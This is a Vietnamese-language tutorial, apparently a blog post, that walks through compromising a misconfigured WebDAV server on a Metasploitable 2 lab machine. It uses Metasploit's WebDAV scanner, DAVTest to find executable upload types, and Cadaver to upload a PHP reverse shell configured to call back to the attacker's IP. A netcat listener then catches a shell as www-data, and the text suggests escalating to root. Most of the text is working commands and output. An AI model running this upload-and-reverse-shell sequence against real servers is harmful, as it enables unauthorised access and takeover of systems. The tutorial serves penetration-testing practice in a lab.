Internet chắc chắn đã thay đổi cách chúng ta làm việc và giao tiếp. Với những tiến bộ công nghệ, ngày càng có nhiều người có thể cộng tác trên web từ bất cứ đâu trên thế giới. Nhưng môi trường thân thiện từ xa này vốn đã mang đến rủi ro bảo mật và tin tặc luôn tìm cách khai thác hệ thống cho các mục đích sử dụng khác.

WebDAV, hoặc Tác giả phân phối và phiên bản web, là một giao thức cho phép người dùng cộng tác và chỉnh sửa nội dung từ xa trên web . Nó là một phần mở rộng của HTTP nhưng sử dụng các tính năng riêng biệt của nó để nâng cao các phương thức và tiêu đề HTTP tiêu chuẩn.

Giao thức chủ yếu được sử dụng để chỉnh sửa và cộng tác từ xa, nhưng nó cũng có thể được sử dụng để truyền tệp . Nó thường chạy trên cổng 80 theo mặc định hoặc đôi khi là cổng 443 để liên lạc được mã hóa. Mặc dù WebDAV cung cấp cho người dùng khả năng và sự thuận tiện để truy cập nội dung web từ bất cứ đâu, nhưng chức năng từ xa này có thể là một lỗ hổng bảo mật rất lớn nếu không được cấu hình đúng.

Trong hướng dẫn này, chúng tôi sẽ sử dụng Metasploitable 2 làm mục tiêu và Kali Linux làm máy cục bộ. Bạn có thể sử dụng một thiết lập tương tự để làm theo nếu bạn muốn.

Bước 1 Kiểm tra xem WebDAV đã được bật chưa

Điều đầu tiên chúng ta cần làm là kiểm tra xem WebDAV có được bật trên mục tiêu hay không. Metasploit có một máy quét mà chúng ta có thể sử dụng để làm như vậy, vì vậy hãy kích hoạt nó bằng cách gõ msfconsole trong thiết bị đầu cuối . Sau đó, chúng ta có thể định vị mô-đun bằng lệnh tìm kiếm :

msf5 > search webdav

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   auxiliary/scanner/http/dir_webdav_unicode_bypass                           normal     Yes    MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
   1   auxiliary/scanner/http/ms09_020_webdav_unicode_bypass                      normal     Yes    MS09-020 IIS6 WebDAV Unicode Authentication Bypass
   2   auxiliary/scanner/http/webdav_internal_ip                                  normal     Yes    HTTP WebDAV Internal IP Scanner
   3   auxiliary/scanner/http/webdav_scanner                                      normal     Yes    HTTP WebDAV Scanner
   4   auxiliary/scanner/http/webdav_website_content                              normal     Yes    HTTP WebDAV Website Content Scanner
   5   exploit/multi/http/sun_jsws_dav_options                   2010-01-20       great      Yes    Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
   6   exploit/multi/svn/svnserve_date                           2004-05-19       average    No     Subversion Date Svnserve
   7   exploit/osx/browser/safari_file_policy                    2011-10-12       normal     No     Apple Safari file:// Arbitrary Code Execution
   8   exploit/windows/browser/java_ws_arginject_altjvm          2010-04-09       excellent  No     Sun Java Web Start Plugin Command Line Argument Injection
   9   exploit/windows/browser/java_ws_double_quote              2012-10-16       excellent  No     Sun Java Web Start Double Quote Injection
   10  exploit/windows/browser/java_ws_vmargs                    2012-02-14       excellent  No     Sun Java Web Start Plugin Command Line Argument Injection
   11  exploit/windows/browser/keyhelp_launchtripane_exec        2012-06-26       excellent  No     KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability
   12  exploit/windows/browser/ms07_017_ani_loadimage_chunksize  2007-03-28       great      No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
   13  exploit/windows/browser/ms10_022_ie_vbscript_winhlp32     2010-02-26       great      No     MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution
   14  exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec     2010-06-09       excellent  No     Microsoft Help Center XSS and Command Execution
   15  exploit/windows/browser/ms10_046_shortcut_icon_dllloader  2010-07-16       excellent  No     Microsoft Windows Shell LNK Code Execution
   16  exploit/windows/browser/oracle_webcenter_checkoutandopen  2013-04-16       excellent  No     Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution
   17  exploit/windows/browser/ubisoft_uplay_cmd_exec            2012-07-29       normal     No     Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution
   18  exploit/windows/browser/webdav_dll_hijacker               2010-08-18       manual     No     WebDAV Application DLL Hijacker
   19  exploit/windows/http/sap_host_control_cmd_exec            2012-08-14       average    Yes    SAP NetWeaver HostControl Command Injection
   20  exploit/windows/http/xampp_webdav_upload_php              2012-01-14       excellent  No     XAMPP WebDAV PHP Upload
   21  exploit/windows/iis/iis_webdav_scstoragepathfromurl       2017-03-26       manual     Yes     Microsoft IIS WebDav ScStoragePathFromUrl Overflow
   22  exploit/windows/iis/iis_webdav_upload_asp                 2004-12-31       excellent  No     Microsoft IIS WebDAV Write Access Code Execution
   23  exploit/windows/iis/ms03_007_ntdll_webdav                 2003-05-30       great      Yes    MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
   24  exploit/windows/local/ms16_016_webdav                     2016-02-09       excellent  Yes    MS16-016 mrxdav.sys WebDav Local Privilege Escalation
   25  exploit/windows/misc/ibm_director_cim_dllinject           2009-03-10       excellent  Yes    IBM System Director Agent DLL Injection
   26  exploit/windows/misc/vmhgfs_webdav_dll_sideload           2016-08-05       normal     No     DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
   27  exploit/windows/misc/webdav_delivery                      1999-01-01       manual     No     Serve DLL via webdav server
   28  exploit/windows/scada/ge_proficy_cimplicity_gefebt        2014-01-23       excellent  Yes    GE Proficy CIMPLICITY gefebt.exe Remote Code Execution
   29  exploit/windows/ssl/ms04_011_pct                          2004-04-13       average    No     MS04-011 Microsoft Private Communications Transport Overflow
   30  post/windows/escalate/droplnk                                              normal     No     Windows Escalate SMB Icon LNK Dropper

Chúng tôi muốn mô-đun webdav_scanner , vì vậy hãy tải nó bằng lệnh use :

msf5 > use auxiliary/scanner/http/webdav_scanner

Bây giờ, chúng ta có thể xem các tùy chọn cho mô-đun này:

msf5 auxiliary(scanner/http/webdav_scanner) > options

Module options (auxiliary/scanner/http/webdav_scanner):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /                yes       Path to use
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

Bây giờ chúng tôi muốn đặt đường dẫn đến / dav / , một thư mục thường được sử dụng cho WebDAV:

msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/

path => /dav/

Tiếp theo, chúng tôi có thể đặt rhosts thành địa chỉ IP của mục tiêu của chúng tôi:

msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Chúng ta nên đi tốt, vì vậy hãy chạy để khởi chạy mô-đun:

msf5 auxiliary(scanner/http/webdav_scanner) > run

[+] 10.10.0.50 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Máy quét sẽ trả về một số thông tin HTTP, bao gồm số phiên bản Apache và liệu WebDAV có được bật hay không. Như chúng ta có thể thấy ở trên, nó thực sự được kích hoạt trên mục tiêu của chúng tôi.

Bước 2 Kiểm tra quyền của tệp với DAVTest

Điều tiếp theo chúng tôi muốn làm là kiểm tra các quyền và chính sách thực thi tệp trên máy chủ. Hãy nhớ rằng, mục tiêu cuối cùng của chúng tôi ở đây là có được một lớp vỏ ngược , vì vậy chúng tôi cần biết những gì chúng tôi đang bước vào.

DAVTest là một công cụ tiện dụng sẽ tự động kiểm tra những thứ này cho chúng ta. Chỉ cần nhập davtest trong thiết bị đầu cuối để xem ví dụ về trợ giúp và sử dụng:

~# davtest

ERROR: Missing -url

/usr/bin/davtest -url <url> [options]

 -auth+     Authorization (user:password)
 -cleanup   delete everything uploaded when done
 -directory+    postfix portion of directory to create
 -debug+    DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
 -move      PUT text files then MOVE to executable
 -nocreate  don't create a directory
 -quiet     only print out summary
 -rand+     use this instead of a random string for filenames
 -sendbd+   send backdoors:
            auto - for any succeeded test
            ext - extension matching file name(s) in backdoors/ dir
 -uploadfile+   upload this file (requires -uploadloc)
 -uploadloc+    upload file to this location/name (requires -uploadfile)
 -url+      url of DAV location

Example: /usr/bin/davtest -url http://localhost/davdir

Ở cấp độ cơ bản nhất, tất cả những gì chúng ta cần làm là cung cấp cho nó một URL hợp lệ trỏ đến một thể hiện của WebDAV. Đương nhiên, sử dụng công tắc -url theo sau là URL chính xác.

Ở đây, chúng ta có thể thấy công cụ làm việc kỳ diệu của nó. Nó bắt đầu bằng cách kiểm tra kết nối và cố gắng tạo một thư mục thử nghiệm mà chúng tôi thấy là một thành công. Tiếp theo, DAVTest sẽ gửi nhiều loại tệp khác nhau để xác định những gì có thể được tải lên. Có vẻ như tất cả những thành công này.

~# davtest -url http://10.10.0.50/dav

********************************************************
 Testing DAV connection
OPEN        SUCCEED:        http://10.10.0.50/dav
********************************************************
NOTE    Random string for this session: 6WDIVTY
********************************************************
 Creating directory
MKCOL       SUCCEED:        Created http://10.10.0.50/dav/DavTestDir_6WDIVTY
********************************************************
 Sending test files
PUT asp SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT txt SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT php SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT jhtml   SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT aspx    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT cgi SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT shtml   SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT cfm SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT html    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT jsp SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT pl  SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
********************************************************
 Checking for test file execution
EXEC    asp FAIL
EXEC    txt SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
EXEC    php SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
EXEC    jhtml   FAIL
EXEC    aspx    FAIL
EXEC    cgi FAIL
EXEC    shtml   FAIL
EXEC    cfm FAIL
EXEC    html    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
EXEC    jsp FAIL
EXEC    pl  FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.0.50/dav/DavTestDir_6WDIVTY
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html

Đến cuối của đầu ra ở trên, chúng ta thấy những thứ tốt: kiểm tra để thực hiện tập tin . Chúng ta có thể thấy rằng hầu hết trong số chúng đều thất bại, nhưng TXT, HTML và có lẽ quan trọng nhất đối với chúng ta, các tệp PHP , sẽ thực hiện thành công. Tất cả những gì chúng ta cần làm bây giờ là tìm cách tải lên shell của chúng tôi.

Bước 3 Tải lên Shell bằng Cadaver

Đối với giai đoạn cuối của cuộc tấn công, chúng tôi sẽ sử dụng một công cụ có tên là Cadaver, cung cấp giao diện trực quan để tương tác với dịch vụ WebDAV – với các lệnh giống như FTP rất dễ sử dụng.

Chúng tôi có thể xem thông tin trợ giúp và sử dụng bằng cách nhập cadaver -h trong thiết bị đầu cuối:

~# cadaver -h

Usage: cadaver [OPTIONS] http://hostname[:port]/path
  Port defaults to 80, path defaults to '/'
Options:
  -t, --tolerant            Allow cd/open into non-WebDAV enabled collection.
  -r, --rcfile=FILE         Read script from FILE instead of ~/.cadaverrc.
  -p, --proxy=PROXY[:PORT]  Use proxy host PROXY and optional proxy port PORT.
  -V, --version             Display version information.
  -h, --help                Display this help message.
Please send bug reports and feature requests to <cadaver@webdav.org>

Hãy kiểm tra nó với một tệp văn bản vô hại trước khi chúng tôi chuyển sang tải lên trình bao của chúng tôi. Đầu tiên, tạo một tệp văn bản đơn giản:

root@drd:~# echo 'TESTING' > test.txt

Tiếp theo, chúng tôi có thể kết nối với WebDAV thông qua Cadaver bằng cách cung cấp URL thích hợp:

~# cadaver http://10.10.0.50/dav

dav:/dav/>

Để có được một danh sách các lệnh có sẵn, gõ hoặc giúp đỡ tại dấu nhắc:

dav:/dav/> ?

Available commands:
 ls         cd         pwd        put        get        mget       mput
 edit       less       mkcol      cat        delete     rmcol      copy
 move       lock       unlock     discover   steal      showlocks  version
 checkin    checkout   uncheckout history    label      propnames  chexec
 propget    propdel    propset    search     set        open       close
 echo       quit       unset      lcd        lls        lpwd       logout
 help       describe   about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye

Chúng tôi có thể sử dụng lệnh put để tải lên tệp thử nghiệm của mình:

dav:/dav/> put test.txt

Uploading test.txt to `/dav/test.txt':
Progress: [=============================>] 100.0% of 8 bytes succeeded.

Bây giờ, nếu chúng ta điều hướng đến nó trong trình duyệt , chúng ta sẽ thấy văn bản hiển thị cho chúng ta:

exploit-webdav-server-get-shell-dongthoigian

Vì hiện tại chúng tôi tự tin rằng việc tải lên sẽ hoạt động, chúng tôi có thể thoát khỏi Cadaver ngay bây giờ để chúng tôi có thể chuẩn bị sẵn sàng:

dav:/dav/> quit

Connection to `10.10.0.50' closed.

Kali chứa nhiều loại shell trong thư mục / usr / share / webshells / . Chúng tôi muốn trình bao ngược PHP, vì vậy hãy sao chép nó vào thư mục hiện tại của chúng tôi bằng lệnh sau:

~# cp /usr/share/webshells/php/php-reverse-shell.php .

Tiếp theo, chúng tôi cần chỉnh sửa một vài thứ, vì vậy hãy mở tệp bằng trình soạn thảo văn bản yêu thích của bạn và thay đổi địa chỉ IP thành địa chỉ của máy cục bộ của chúng tôi, cũng như cổng thành cổng bạn chọn:

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1';  // CHANGE THIS
$port = 7777;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Lưu tệp và thiết lập trình nghe với Netcat để bắt kết nối đến:

~# nc -lvnp 7777

listening on [any] 7777 ...

Trong một cửa sổ hoặc tab mới, kết nối lại với WebDAV và tải lên trình bao của chúng tôi giống như chúng tôi đã làm trước đó với tệp thử nghiệm:

~# cadaver http://10.10.0.50/dav

dav:/dav/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `/dav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.

Bây giờ hãy duyệt đến tệp và nếu thành công, chúng ta sẽ thấy trình duyệt bị treo:

Quay lại với người nghe, chúng ta sẽ thấy một kết nối mở ra từ mục tiêu:

connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 54183
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 14:41:17 up  1:01,  1 user,  load average: 0.12, 0.08, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    :0.0             13:41    1:00   0.05s  0.05s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2$

Bây giờ chúng tôi có thể đưa ra các lệnh như whoami để xác nhận rằng chúng tôi đã xâm phạm máy chủ:

sh-3.2$ whoami

www-data

Từ đây, có lẽ chúng tôi muốn nâng cấp hệ vỏ của mình và cố gắng nâng cấp đặc quyền lên root.

Kết thúc

Trong hướng dẫn này, chúng tôi đã tìm hiểu về WebDAV và cách khai thác phiên bản cấu hình sai của nó để có quyền truy cập shell. Đầu tiên, chúng tôi đã sử dụng máy quét Metasploit để xác định xem WebDAV có chạy trên mục tiêu hay không. Tiếp theo, chúng tôi đã có thể kiểm tra các chính sách thực thi tệp bằng một công cụ có tên là DAVTest. Cuối cùng, chúng tôi đã sử dụng Cadaver để tải lên một vỏ ngược và thỏa hiệp máy chủ. Mặc dù truy cập từ xa cung cấp một cách thuận tiện để cộng tác, tin tặc sẽ luôn cố gắng khai thác nó để sử dụng riêng.

Để lại một bình luận